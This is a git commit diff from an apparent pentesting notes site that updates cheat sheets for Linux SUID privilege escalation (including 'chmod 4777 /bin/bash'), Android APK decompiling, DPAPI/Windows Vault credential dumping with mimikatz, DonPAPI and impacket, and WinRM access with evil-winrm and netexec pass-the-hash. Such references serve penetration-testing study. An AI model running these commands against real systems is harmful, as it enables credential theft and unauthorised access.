Skip to content

Commit 92d07be

Browse files
committed
modified WinRM pentesting
1 parent 528edcd commit 92d07be

File tree

5 files changed

+111
-51
lines changed

5 files changed

+111
-51
lines changed

src/exploit/linux/management/file-and-directory-permission-in-linux.md

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ description: We can change permissions of file/directory using `chmod` command.
44
tags:
55
- Linux
66
refs:
7-
date: 2023-10-30
7+
date: 2025-03-19
88
draft: false
99
---
1010

@@ -25,8 +25,6 @@ For example,
2525
|Read + Write|`4+2=6`|`rw`|
2626
|Read|`4`|`r`|
2727

28-
<br />
29-
3028
## Cheat Sheet
3129

3230
### Read/Write/Execute
@@ -42,7 +40,6 @@ For example,
4240
|All|`chmod 777 sample.txt`|
4341
||`chmod a+rwx sample.txt`|
4442

45-
4643
### Read/Write
4744

4845
|Target|Command|
@@ -56,7 +53,6 @@ For example,
5653
|All|`chmod 666 sample.txt`|
5754
||`chmod a+rw sample.txt`|
5855

59-
6056
### Read/Execute
6157

6258
|Target|Command|
@@ -83,14 +79,15 @@ For example,
8379
|All|`chmod 333 sample.txt`|
8480
||`chmod a+wx sample.txt`|
8581

86-
<br />
87-
8882
## Set SUID/SGID
8983

9084
By adding **SUID** or **SGID**, we can execute the file as the file owner/group.
9185
This may cause **local privilege escalation**.
9286

9387
```bash
88+
# SUID for all users
89+
chmod 4777 /bin/bash
90+
9491
# SUID for user owner
9592
chmod u+s /opt/example.sh
9693

src/exploit/mobile/android/android-pentesting.md renamed to src/exploit/mobile/android/index.md

Lines changed: 32 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -6,45 +6,55 @@ tags:
66
- Mobile
77
- Reverse Engineering
88
refs:
9-
date: 2022-12-30
9+
date: 2025-03-19
1010
draft: false
1111
---
1212

1313
## APK Analysis
1414

15-
### 1. Extract APK File to DEX File
15+
If we have a `.apk` file, we can investigate the file using some tools.
1616

17-
You can retrieve "classes.dex".
17+
### Using JADX
1818

19-
```sh
20-
unzip example.apk -d ./Example
19+
The most easiest way to analyze a `.apk` file, use `jadx-gui`.
20+
21+
```bash
22+
jadx-gui ./example.apk
2123
```
2224

23-
Now you can observe files.
24-
For **React Native**, it may contain the sensitive information in the bundle file.
25+
### Using JD
2526

26-
```sh
27-
strings assets/index.android.bundle
28-
```
27+
1. Extract APK File to DEX File
2928

30-
### 2. Convert DEX to JAR
29+
You can retrieve "classes.dex".
3130

32-
You can retrieve JAR file.
31+
```sh
32+
unzip example.apk -d ./Example
33+
```
3334

34-
```sh
35-
d2j-dex2jar classes.dex
36-
```
35+
Now you can observe files.
36+
For **React Native**, it may contain the sensitive information in the bundle file.
3737

38-
### 3. Observation
38+
```sh
39+
strings assets/index.android.bundle
40+
```
3941

40-
**JD-GUI** is a JAVA decompiler tool. It reveals class in the JAR file.
41-
Open JD-GUI.
42+
2. Convert DEX to JAR
4243

43-
```sh
44-
jd-gui
45-
```
44+
You can retrieve JAR file.
45+
46+
```sh
47+
d2j-dex2jar classes.dex
48+
```
49+
50+
3. Observation
4651

47-
<br />
52+
**JD-GUI** is a JAVA decompiler tool. It reveals class in the JAR file.
53+
Open JD-GUI.
54+
55+
```sh
56+
jd-gui
57+
```
4858

4959
## Static Analysis
5060

@@ -63,8 +73,6 @@ ghidra
6373

6474
MobSF (Mobile Security Framework) is an automated all-in-one mobile application pentesting, malware analysis framework capable of static and dynamic analysis.
6575

66-
<br />
67-
6876
## Dynamic Analysis
6977

7078
If you pentest on virtual devices, you need to install some emulator as below.
@@ -73,8 +81,6 @@ If you pentest on virtual devices, you need to install some emulator as below.
7381
- **[Genymotion](https://www.genymotion.com/)**
7482
- **[Nox](https://www.bignox.com/)**
7583

76-
<br />
77-
7884
## Android Backup (.ab)
7985

8086
### Extract

src/exploit/windows/privilege-escalation/dumping-credentials-from-windows-vault.md

Lines changed: 28 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,21 @@ tags:
77
refs:
88
- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
99
- https://tools.thehacker.recipes/mimikatz/modules/vault/cred
10-
date: 2023-03-26
10+
date: 2025-03-19
1111
draft: false
1212
---
1313

14-
## 1. Enumerate Credentials
14+
## Automation
15+
16+
Using [DonPAPI](https://github.com/login-securite/DonPAPI), we can dump credentials remotely.
17+
18+
```bash
19+
donpapi collect -u 'username' -p 'password' -d example.local --dc-ip <target-ip> -t ALL --fetch-pvk
20+
```
21+
22+
## Manual Dumping
23+
24+
### 1. Enumerate Credentials
1525

1626
```powershell
1727
# Under %APPDATA% folder
@@ -23,7 +33,7 @@ Get-ChildItem C:\Users\<user>\AppData\Local\Microsoft\Credentials\
2333
Get-ChildItem -Hidden C:\Users\<user>\AppData\Local\Microsoft\Credentials\
2434
```
2535

26-
## 2. Dump Credential Information
36+
### 2. Dump Credential Information
2737

2838
```powershell
2939
mimikatz # dpapi::cred /in:C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\123ABC...
@@ -33,7 +43,7 @@ mimikatz # dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\1
3343

3444
We can retrieve the `guidMasterKey` value that is used for the next section.
3545

36-
## 3. Decrypt MasterKey
46+
### 3. Decrypt MasterKey
3747

3848
The DPAPI keys are stored under `%APPDATA%\Microsofr\Protect\` or `%LOCALAPPDATA%\Microsoft\Protect\` folder. These keys are used for encrypting
3949

@@ -62,13 +72,25 @@ Now decrypt the master keys:
6272
mimikatz # dpapi::masterkey /in:C:\Users\<user>\AppData\Roaming\Microsoft\Protect\{SID}\{STRING} /rpc
6373
```
6474

65-
We can get the `key` value that is the decrypted Master Key.
75+
We can get the `key` value that is the decrypted Master Key.
6676

67-
## 4. Dump Credentials
77+
Alternatively, we can use `impacket-dpapi` command in our attack machine. We need to download the protected file under the `C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<sid>\` in the target Windows machine.
78+
79+
```bash
80+
impacket-dpapi masterkey -file <protected_file> -sid <user_sid> -password <password>
81+
```
82+
83+
### 4. Dump Credentials
6884

6985
We can dump credentials using the collected Credential value and decrypted Master Key (domainkey).
7086

7187
```powershell
7288
# Specify '/<guidMasterKey>::<masterkey>'
7389
mimikatz # dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\123ABC... /01234567-890abcde...::abcdef...
7490
```
91+
92+
Alternatively, we can use `impacket-dpapi` command in our attack machine. We need to download the credential file under the `C:\Users\<user>\AppData\Roaming\Microsoft\Credentials` in the target Windows machine.
93+
94+
```bash
95+
impacket-dpapi credential -file <credential_file> -key <decrypted_key>
96+
```

src/exploit/windows/privilege-escalation/index.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ tags:
88
refs:
99
- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
1010
- https://learn.microsoft.com/en-us/powershell/scripting/samples/working-with-registry-keys?view=powershell-7.3
11-
date: 2025-03-15
11+
date: 2025-03-19
1212
draft: false
1313
---
1414

@@ -107,6 +107,10 @@ dir "C:\Users\<user>\AppData\Local\Packages\"
107107
dir "C:\Users\<user>\AppData\Roaming\Thudnerbird\Profiles\"
108108
dir "C:\Program Files\hMailServer\Data\"
109109
dir "C:\Program Files (x86)\hMailServer\Data\"
110+
111+
# DPAPI protected data (https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets)
112+
dir -Force C:\Users\<user>\AppData\Local\Microsoft\Credentials\
113+
dir -Force C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\
110114
```
111115

112116
### Find Vulnerable Privileges

src/exploit/windows/protocol/winrm-pentesting.md

Lines changed: 42 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ tags:
55
- Windows
66
refs:
77
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647
8-
date: 2024-02-18
8+
date: 2025-03-19
99
draft: false
1010
---
1111

@@ -21,14 +21,12 @@ msfconsole
2121
msf > use auxiliary/scanner/winrm/winrm_login
2222
```
2323

24-
<br />
25-
26-
## Connect with Evil-WinRM
24+
## Connect
2725

2826
**[Evil-WinRM](https://github.com/Hackplayers/evil-winrm)** is a Windows Remote Management shell for pentesting.
2927
Below are list of commands for each situation.
3028

31-
### Connect
29+
### Using Username/Password
3230

3331
```powershell
3432
evil-winrm -i <target-ip> -u username -p password
@@ -54,9 +52,46 @@ If you have private key and public key, you can use them for authentication.
5452
evil-winrm -i <target-ip> -S -k private.key -c public.key
5553
```
5654

57-
### Commands
55+
### Using Kerberos Authentication
56+
57+
If we have a Kerberos ticket of a user, we can login with its ticket, but some settings are required.
58+
At first, we need to modify the `nameserver` value in the `/etc/resolv.conf` in our attack machine.
59+
60+
```bash
61+
nameserver <target-ip>
62+
```
63+
64+
and modify `/etc/krb5.conf` (or create a new one if it does not exist) in our attack machine as below:
65+
66+
```bash
67+
[libdefaults]
68+
default_realm = EXAMPLE.LOCAL
69+
dns_lookup_realm = true
70+
dns_lookup_kdc = true
71+
72+
[realms]
73+
EXAMPLE.LOCAL = {
74+
kdc = dc.example.local
75+
admin_server = dc.example.local
76+
default_domain = example.local
77+
}
78+
79+
[domain_realm]
80+
example.local = EXAMPLE.LOCAL
81+
.example.local = EXAMPLE.LOCAL
82+
```
83+
84+
Note that `example.local` and `dc.example.local` must be added to `/etc/hosts`.
85+
Now set the environment variable and login with `evil-winrm`:
86+
87+
```bash
88+
export KRB5CCNAME=<username>.ccache
89+
evil-winrm -i dc.example.local -r example.local
90+
```
91+
92+
## Commands
5893

59-
After connecting, we can use a lot of useful commands to exploit.
94+
After connecting with `evil-winrm`, we can use a lot of useful commands to exploit.
6095
Note that **we need to specify the absolute path for uploading and downloading.**
6196

6297
```powershell
@@ -69,8 +104,6 @@ PS> download c:\\Users\Administrator\Desktop\example.txt ./example.txt
69104
PS> services
70105
```
71106

72-
<br />
73-
74107
## Command Execution with NetExec
75108

76109
```sh
@@ -82,8 +115,6 @@ netexec winrm <target-ip> -d DOMAIN -u username -p password -X '$PSVersionTable'
82115
netexec winrm <target-ip> -d DOMAIN -u username -H <HASH> -x 'whoami'
83116
```
84117

85-
<br />
86-
87118
## OMIGOD (CVE-2021-38647)
88119

89120
Open Management Infrastructure (OMI) is vulnerable to Remote Code Execution (RCE).

0 commit comments

Comments
 (0)